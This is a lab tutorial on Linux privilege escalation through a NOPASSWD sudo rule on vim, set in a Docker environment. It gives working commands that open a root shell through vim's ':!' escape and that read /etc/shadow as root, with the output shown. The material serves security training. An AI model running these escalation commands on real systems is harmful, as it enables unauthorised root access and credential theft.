Sudo Misconfiguration: Escalating Through a NOPASSWD Rule
Updated August 4, 2026 · Written by PWNMI — see About.
sudo misconfiguration is one of the most common real-world privesc findings, precisely because it's usually granted for a reasonable-sounding reason. Someone needed to run one command as root regularly, didn't want to type a password every time, and scoped the rule to a general-purpose binary instead of a narrow wrapper script. This lab reproduces exactly that pattern: no CVE, no specific product — the misconfiguration class itself.
What you'll practice: reading a sudoers rule for what it actually grants (not what it was intended to grant), using GTFOBins to find a binary's documented sudo escape, and understanding why "no password prompt" and "no argument restriction" is a much bigger grant than it looks like.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set technique-labs/sudo-misconfiguration
cd technique-labs/sudo-misconfiguration
docker compose up -d --build
Drop into a shell as analyst, an ordinary unprivileged user:
docker compose exec -u analyst app bash
id
Understanding the technique
sudo is supposed to grant narrow, specific privilege: "this user can run this exact command as root, nothing else." The NOPASSWD flag is a convenience feature — skip the password re-prompt for a command that's already gated behind sudo's own authorization. Neither of those is the problem by itself.
The problem is scope. A sudoers rule grants everything a binary is capable of, not just the specific use case someone had in mind when they wrote it. vim is a text editor, but it's also a program with a documented, intentional feature for running arbitrary shell commands from within it (:!command) — because that's genuinely useful for a text editor to be able to do. Grant unrestricted sudo on vim, and you've granted unrestricted root, whether or not that was the intent.
Exploitation
Confirm what you're actually allowed to run first — this is the equivalent of the SUID enumeration step in the companion lab, and it's just as important not to skip:
sudo -l
User analyst may run the following commands on <hostname>:
(ALL) NOPASSWD: /usr/bin/vim
No password required, no argument restriction, no path restriction. Check GTFOBins' vim entry — it documents this exact sudo escape:
sudo vim -c ':!/bin/sh'
Run interactively, that command drops you straight into a root shell inside vim's :! escape. For a scripted, verifiable version that doesn't need an interactive terminal:
sudo vim -c ':!id' -c ':q!'
uid=0(root) gid=0(root) groups=0(root)
The :! prefix tells vim to run the following text as a shell command — and since vim itself is running as root (that's what sudo granted), so is the command it runs. :q! quits immediately after, so the command doesn't hang waiting for interactive input.
Confirm it against something analyst genuinely can't read directly:
sudo vim -c ':!head -1 /etc/shadow' -c ':q!'
root:*:20647:0:99999:7:::
Compare against running head -1 /etc/shadow directly as analyst — Permission denied. The vim escape is what closes that gap.
Cleanup
Nothing on the target needs reverting — this exploit runs a command and exits, it doesn't create or modify any persistent state. As with the SUID lab, the thing that would need cleanup on a real engagement is whatever you did with the root access you gained, not the access itself.
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
sudo -lis the single most important command in this entire technique class. It tells you exactly what you're authorized to run — always check it before assuming you need to find a misconfiguration; sometimes it's handed to you directly.- A sudo grant is scoped to a binary's full capability, not the use case someone had in mind. "I only need this for editing config files" doesn't restrict what the binary can actually do once it's running as root.
- GTFOBins has a "Sudo" column for a reason. Most binaries with a documented SUID escape have a nearly identical documented sudo escape — the underlying mechanism (the binary can spawn a shell or run arbitrary commands) is the same either way.
Next step
For the SUID-bit version of this same underlying idea, see SUID Binary Abuse. For the broader mental model both fit into, see Privilege Escalation Fundamentals and the Script Privilege Escalation checklist, which covers sudo and cron misconfigurations in scripts specifically.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.